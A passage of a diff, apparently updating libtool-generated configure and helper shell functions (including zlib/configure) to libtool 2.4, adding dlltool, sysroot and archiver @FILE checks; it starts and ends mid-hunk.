+- func_basename_result="${1##*/}"
+-}
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-func_stripname ()
+-{
+- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
+- # positional parameters, so assign one to ordinary parameter first.
+- func_stripname_result=${3}
+- func_stripname_result=${func_stripname_result#"${1}"}
+- func_stripname_result=${func_stripname_result%"${2}"}
+-}
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=${1%%=*}
+- func_opt_split_arg=${1#*=}
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- case ${1} in
+- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
+- *) func_lo2o_result=${1} ;;
+- esac
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=${1%.*}.lo
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=$(( $* ))
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=${#1}
+-}
+-
+-_LT_EOF
+- ;;
+- *) # Bourne compatible functions.
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- # Extract subdirectory from the argument.
+- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
+- if test "X$func_dirname_result" = "X${1}"; then
+- func_dirname_result="${3}"
+- else
+- func_dirname_result="$func_dirname_result${2}"
+- fi
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
+-}
+-
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-# func_strip_suffix prefix name
+-func_stripname ()
+-{
+- case ${2} in
+- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
+- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
+- esac
+-}
+-
+-# sed scripts:
+-my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
+-my_sed_long_arg='1s/^-[^=]*=//'
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
+- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=`expr "$@"`
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
+-}
+-
+-_LT_EOF
+-esac
+-
+-case $lt_shell_append in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1+=\$2"
+-}
+-_LT_EOF
+- ;;
+- *)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1=\$$1\$2"
+-}
+-
+-_LT_EOF
+- ;;
+- esac
+-
+-
+- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- mv -f "$cfgfile" "$ofile" ||
++ sed '$q' "$ltmain" >> "$cfgfile" \
++ || (rm -f "$cfgfile"; exit 1)
++
++ if test x"$xsi_shell" = xyes; then
++ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
++func_dirname ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_basename ()$/,/^} # func_basename /c\
++func_basename ()\
++{\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
++func_dirname_and_basename ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
++func_stripname ()\
++{\
++\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
++\ # positional parameters, so assign one to ordinary parameter first.\
++\ func_stripname_result=${3}\
++\ func_stripname_result=${func_stripname_result#"${1}"}\
++\ func_stripname_result=${func_stripname_result%"${2}"}\
++} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
++func_split_long_opt ()\
++{\
++\ func_split_long_opt_name=${1%%=*}\
++\ func_split_long_opt_arg=${1#*=}\
++} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
++func_split_short_opt ()\
++{\
++\ func_split_short_opt_arg=${1#??}\
++\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
++} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
++func_lo2o ()\
++{\
++\ case ${1} in\
++\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
++\ *) func_lo2o_result=${1} ;;\
++\ esac\
++} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_xform ()$/,/^} # func_xform /c\
++func_xform ()\
++{\
++ func_xform_result=${1%.*}.lo\
++} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_arith ()$/,/^} # func_arith /c\
++func_arith ()\
++{\
++ func_arith_result=$(( $* ))\
++} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_len ()$/,/^} # func_len /c\
++func_len ()\
++{\
++ func_len_result=${#1}\
++} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++fi
++
++if test x"$lt_shell_append" = xyes; then
++ sed -e '/^func_append ()$/,/^} # func_append /c\
++func_append ()\
++{\
++ eval "${1}+=\\${2}"\
++} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
++func_append_quoted ()\
++{\
++\ func_quote_for_eval "${2}"\
++\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
++} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ # Save a `func_append' function call where possible by direct use of '+='
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++else
++ # Save a `func_append' function call even when '+=' is not available
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++fi
++
++if test x"$_lt_function_replace_fail" = x":"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
++$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
++fi
++
++
++ mv -f "$cfgfile" "$ofile" ||
+ (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
+ chmod +x "$ofile"
+
+diff --git a/zlib/configure b/zlib/configure
+index db7845c5d42..cd59daa39b5 100755
+--- a/zlib/configure
++++ b/zlib/configure
+@@ -646,8 +646,11 @@ OTOOL
+ LIPO
+ NMEDIT
+ DSYMUTIL
++MANIFEST_TOOL
+ RANLIB
++ac_ct_AR
+ AR
++DLLTOOL
+ OBJDUMP
+ LN_S
+ NM
+@@ -774,6 +777,7 @@ enable_static
+ with_pic
+ enable_fast_install
+ with_gnu_ld
++with_libtool_sysroot
+ enable_libtool_lock
+ enable_host_shared
+ '
+@@ -1428,6 +1432,8 @@ Optional Packages:
+ --with-pic try to use only PIC/non-PIC objects [default=use
+ both]
+ --with-gnu-ld assume the C compiler uses GNU ld [default=no]
++ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
++ (or the compiler's sysroot if not specified).
+
+ Some influential environment variables:
+ CC C compiler command
+@@ -4186,8 +4192,8 @@ esac
+
+
+
+-macro_version='2.2.7a'
+-macro_revision='1.3134'
++macro_version='2.4'
++macro_revision='1.3293'
+
+
+
+@@ -4227,7 +4233,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
+ $as_echo_n "checking how to print strings... " >&6; }
+ # Test print first, because it will be a builtin if present.
+-if test "X`print -r -- -n 2>/dev/null`" = X-n && \
++if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
+ test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
+ ECHO='print -r --'
+ elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
+@@ -5044,8 +5050,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
+ # Try some XSI features
+ xsi_shell=no
+ ( _lt_dummy="a/b/c"
+- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
+- = c,a/b,, \
++ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
++ = c,a/b,b/c, \
+ && eval 'test $(( 1 + 1 )) -eq 2 \
+ && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
+ && xsi_shell=yes
+@@ -5094,6 +5100,80 @@ esac
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
++$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
++if ${lt_cv_to_host_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
++ ;;
++ esac
++ ;;
++ *-*-cygwin* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
++ ;;
++ esac
++ ;;
++ * ) # unhandled hosts (and "normal" native builds)
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++esac
++
++fi
++
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
++$as_echo "$lt_cv_to_host_file_cmd" >&6; }
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
++$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
++if ${lt_cv_to_tool_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ #assume ordinary cross tools, or native build.
++lt_cv_to_tool_file_cmd=func_convert_file_noop
++case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ esac
++ ;;
++esac
++
++fi
++
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
++$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
++
++
++
++
++
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
+ $as_echo_n "checking for $LD option to reload object files... " >&6; }
+ if ${lt_cv_ld_reload_flag+:} false; then :
+@@ -5110,6 +5190,11 @@ case $reload_flag in
+ esac
+ reload_cmds='$LD$reload_flag -o $output$reload_objs'
+ case $host_os in
++ cygwin* | mingw* | pw32* | cegcc*)
++ if test "$GCC" != yes; then
++ reload_cmds=false
++ fi
++ ;;
+ darwin*)
+ if test "$GCC" = yes; then
+ reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
+@@ -5278,7 +5363,8 @@ mingw* | pw32*)
+ lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
+ lt_cv_file_magic_cmd='func_win32_libid'
+ else
+- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
++ # Keep this pattern in sync with the one in func_win32_libid.
++ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
+ lt_cv_file_magic_cmd='$OBJDUMP -f'
+ fi
+ ;;
+@@ -5432,6 +5518,21 @@ esac
+ fi
+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
+ $as_echo "$lt_cv_deplibs_check_method" >&6; }
++
++file_magic_glob=
++want_nocaseglob=no
++if test "$build" = "$host"; then
++ case $host_os in
++ mingw* | pw32*)
++ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
++ want_nocaseglob=yes
++ else
++ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
++ fi
++ ;;
++ esac
++fi
++
+ file_magic_cmd=$lt_cv_file_magic_cmd
+ deplibs_check_method=$lt_cv_deplibs_check_method
+ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+@@ -5447,6 +5548,158 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+
+
+
++
++
++
++
++
++
++
++
++
++
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
++set dummy ${ac_tool_prefix}dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$DLLTOOL"; then
++ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++DLLTOOL=$ac_cv_prog_DLLTOOL
++if test -n "$DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
++$as_echo "$DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_DLLTOOL"; then
++ ac_ct_DLLTOOL=$DLLTOOL
++ # Extract the first word of "dlltool", so it can be a program name with args.
++set dummy dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_DLLTOOL"; then
++ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
++if test -n "$ac_ct_DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
++$as_echo "$ac_ct_DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_DLLTOOL" = x; then
++ DLLTOOL="false"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ DLLTOOL=$ac_ct_DLLTOOL
++ fi
++else
++ DLLTOOL="$ac_cv_prog_DLLTOOL"
++fi
++
++test -z "$DLLTOOL" && DLLTOOL=dlltool
++
++
++
++
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
++$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
++if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_sharedlib_from_linklib_cmd='unknown'
++
++case $host_os in
++cygwin* | mingw* | pw32* | cegcc*)
++ # two different shell functions defined in ltmain.sh
++ # decide which to use based on capabilities of $DLLTOOL
++ case `$DLLTOOL --help 2>&1` in
++ *--identify-strict*)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
++ ;;
++ *)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
++ ;;
++ esac
++ ;;
++*)
++ # fallback: assume linklib IS sharedlib
++ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
++ ;;
++esac
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
++$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
++sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
++test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
++
++
++
++
++
++
++
++
+ plugin_option=
+ plugin_names="liblto_plugin.so liblto_plugin-0.dll cyglto_plugin-0.dll"
+ for plugin in $plugin_names; do
+@@ -5461,8 +5714,10 @@ for plugin in $plugin_names; do
+ done
+
+ if test -n "$ac_tool_prefix"; then
+- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
+-set dummy ${ac_tool_prefix}ar; ac_word=$2
++ for ac_prog in ar
++ do
++ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
++set dummy $ac_tool_prefix$ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_AR+:} false; then :
+@@ -5478,7 +5733,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_AR="${ac_tool_prefix}ar"
++ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -5498,11 +5753,15 @@ $as_echo "no" >&6; }
+ fi
+
+
++ test -n "$AR" && break
++ done
+ fi
+-if test -z "$ac_cv_prog_AR"; then
++if test -z "$AR"; then
+ ac_ct_AR=$AR
+- # Extract the first word of "ar", so it can be a program name with args.
+-set dummy ar; ac_word=$2
++ for ac_prog in ar
++do
++ # Extract the first word of "$ac_prog", so it can be a program name with args.
++set dummy $ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_ac_ct_AR+:} false; then :
+@@ -5518,7 +5777,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_ac_ct_AR="ar"
++ ac_cv_prog_ac_ct_AR="$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -5537,6 +5796,10 @@ else
+ $as_echo "no" >&6; }
+ fi
+
++
++ test -n "$ac_ct_AR" && break
++done
++
+ if test "x$ac_ct_AR" = x; then
+ AR="false"
+ else
+@@ -5548,25 +5811,19 @@ ac_tool_warned=yes ;;
+ esac
+ AR=$ac_ct_AR
+ fi
+-else
+- AR="$ac_cv_prog_AR"
+ fi
+
+-test -z "$AR" && AR=ar
+-if test -n "$plugin_option"; then
+- if $AR --help 2>&1 | grep -q "\--plugin"; then
+- touch conftest.c
+- $AR $plugin_option rc conftest.a conftest.c
+- if test "$?" != 0; then
+- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
++ touch conftest.c
++ $AR $plugin_option rc conftest.a conftest.c
++ if test "$?" != 0; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
+ $as_echo "$as_me: WARNING: Failed: $AR $plugin_option rc" >&2;}
+- else
+- AR="$AR $plugin_option"
+- fi
+- rm -f conftest.*
++ else
++ AR="$AR $plugin_option"
+ fi
+-fi
+-test -z "$AR_FLAGS" && AR_FLAGS=cru
++ rm -f conftest.*
++: ${AR=ar}
++: ${AR_FLAGS=cru}
+
+
+
+@@ -5578,6 +5835,64 @@ test -z "$AR_FLAGS" && AR_FLAGS=cru
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
++$as_echo_n "checking for archiver @FILE support... " >&6; }
++if ${lt_cv_ar_at_file+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_ar_at_file=no
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++/* end confdefs.h. */
++
++int
++main ()
++{
++
++ ;
++ return 0;
++}
++_ACEOF
++if ac_fn_c_try_compile "$LINENO"; then :
++ echo conftest.$ac_objext > conftest.lst
++ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -eq 0; then
++ # Ensure the archiver fails upon bogus file names.
++ rm -f conftest.$ac_objext libconftest.a
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -ne 0; then
++ lt_cv_ar_at_file=@
++ fi
++ fi
++ rm -f conftest.* libconftest.a
++
++fi
++rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
++$as_echo "$lt_cv_ar_at_file" >&6; }
++
++if test "x$lt_cv_ar_at_file" = xno; then
++ archiver_list_spec=
++else
++ archiver_list_spec=$lt_cv_ar_at_file
++fi
++
++
++
++
++
++
++
+ if test -n "$ac_tool_prefix"; then
+ # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
+ set dummy ${ac_tool_prefix}strip; ac_word=$2
+@@ -5917,8 +6232,8 @@ esac
+ lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
+
+ # Transform an extracted symbol line into symbol name and symbol address
+-lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
+-lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
